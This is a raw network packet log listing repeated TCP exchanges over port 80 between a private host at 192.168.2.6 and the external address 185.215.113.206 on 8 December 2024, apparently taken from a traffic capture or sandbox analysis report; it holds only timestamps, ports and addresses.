Dec 8, 2024 15:38:13.071279049 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.071285963 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.071333885 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.120631933 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.120723009 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.120821953 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.120868921 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.121180058 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.121234894 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.121423960 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.121488094 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.122163057 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.122212887 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.122267962 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.122315884 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.123162031 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.123224020 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.123521090 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.123572111 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.123606920 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.123653889 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.124578953 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.124634981 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.124712944 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.124763966 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.125633001 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.125689030 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.125694990 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.125741005 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.126581907 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.126638889 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.126647949 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.126679897 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.127669096 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.127720118 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.127764940 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.127811909 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.128705025 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.128763914 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.128818035 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.128865004 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.129694939 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.129750013 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.129801989 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.129856110 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.181835890 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.181863070 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.181956053 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.182441950 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.182493925 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.182524920 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.182574987 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.183362961 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.183409929 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.183454037 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.183494091 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.184416056 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.184473991 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.184539080 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.184577942 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.185439110 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.185488939 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.185559988 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.185602903 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.186470032 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.186520100 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.186618090 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.186659098 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.187489986 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.187536001 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.187594891 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.187637091 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.188529968 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.188580990 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.188637972 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.188683033 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.189569950 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.189624071 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.189652920 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.189696074 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.190548897 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.190607071 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.190660954 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.190709114 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.191648006 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.191699982 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.191714048 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.191750050 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.192629099 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.192682981 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.192727089 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.192770958 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.193708897 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.193761110 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.193778992 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.193823099 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.194658995 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.194705963 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.194746971 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.194786072 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.195724964 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.195775986 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.195919037 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.195970058 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.196718931 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.196768045 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.196824074 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.196867943 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.197717905 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.197763920 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.197803974 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.197849989 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.198764086 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.198812008 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.198888063 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.198924065 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.199788094 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.199835062 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.199876070 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.199914932 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.200817108 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.200861931 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.200889111 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.200928926 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.201838017 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.201905012 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.202919960 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.202997923 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.203895092 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.203994036 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.204452038 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.205018997 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.205066919 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.244083881 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.244199038 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.244259119 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.244259119 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.244515896 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.244565010 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.244785070 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.244836092 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.244925022 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.244971037 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.245800972 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.245856047 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.245881081 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.245924950 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.246790886 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.246845007 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.246941090 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.246985912 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.247860909 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.247912884 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.247953892 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.248003006 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.248862028 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.248915911 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.248996019 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.249044895 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.249886036 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.249932051 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.249963045 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.250013113 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.250897884 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.250943899 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.251005888 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.251054049 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.251971006 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.252021074 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.252078056 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.252130032 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.252954960 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.253001928 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.253053904 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.253099918 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.253982067 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.254034996 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.254108906 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.254154921 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.255110979 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.255165100 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.255192995 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.255237103 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.256042957 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.256108046 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.256170034 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.256211996 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.257054090 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.257107973 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.257175922 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.257221937 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.258085012 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.258131981 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.258169889 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.258222103 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.259102106 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.259152889 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.259243965 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.259296894 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.260122061 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.260171890 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.260248899 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.260296106 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.261145115 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.261192083 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.261280060 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.261324883 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.262190104 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.262234926 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.262329102 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.262378931 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.263202906 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.263250113 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.263375044 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.263418913 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.312818050 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.312896967 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.312932014 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.312973022 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.313349009 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.313397884 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.313461065 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.313514948 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.314532042 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.314577103 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.314584017 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.314615011 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.315512896 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.315562010 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.315874100 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.315918922 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.315990925 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.316039085 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.317199945 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.317250013 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.317344904 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.317389965 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.318207979 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.318250895 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.318273067 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.318311930 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.319235086 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.319286108 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.319375038 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.319428921 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.320054054 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.320097923 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.320111990 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.320148945 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.320883036 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.320930958 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.320966005 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.321017027 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.321943998 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.321999073 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.322037935 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.322082996 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.375053883 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.375148058 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.375299931 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.375299931 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.375408888 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.375467062 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.375467062 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.375514984 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.376188993 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.376234055 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.376245975 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.376283884 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.376847982 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.376898050 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.376902103 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.376938105 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.377547026 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.377593994 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.377602100 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.377638102 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.379199982 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.379251003 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.379297018 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.379369020 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.380721092 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.380779028 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.380904913 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.380955935 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.382555962 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.382603884 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.382803917 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.382852077 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.384408951 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.384458065 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.384608030 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.384675980 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.385611057 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.385623932 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.385663033 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.386344910 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.386394978 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.386429071 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.386471033 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.386950970 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.386986971 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.386993885 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.387026072 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.387518883 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.387567997 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.387604952 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.387645960 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.388324976 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.388374090 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.388381004 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.388422966 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.388982058 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.389098883 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.389100075 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.389159918 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.390059948 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.390105963 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.390214920 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.390264988 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.390700102 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.390736103 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.390748024 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.390774012 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.391971111 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.392023087 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.392055035 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.392100096 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.393163919 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.393214941 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.393243074 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.393286943 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.393842936 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.393882990 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.393891096 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.393918037 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.394737959 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.394787073 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.394810915 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.394855976 CET	49708	80	192.168.2.6	185.215.113.206
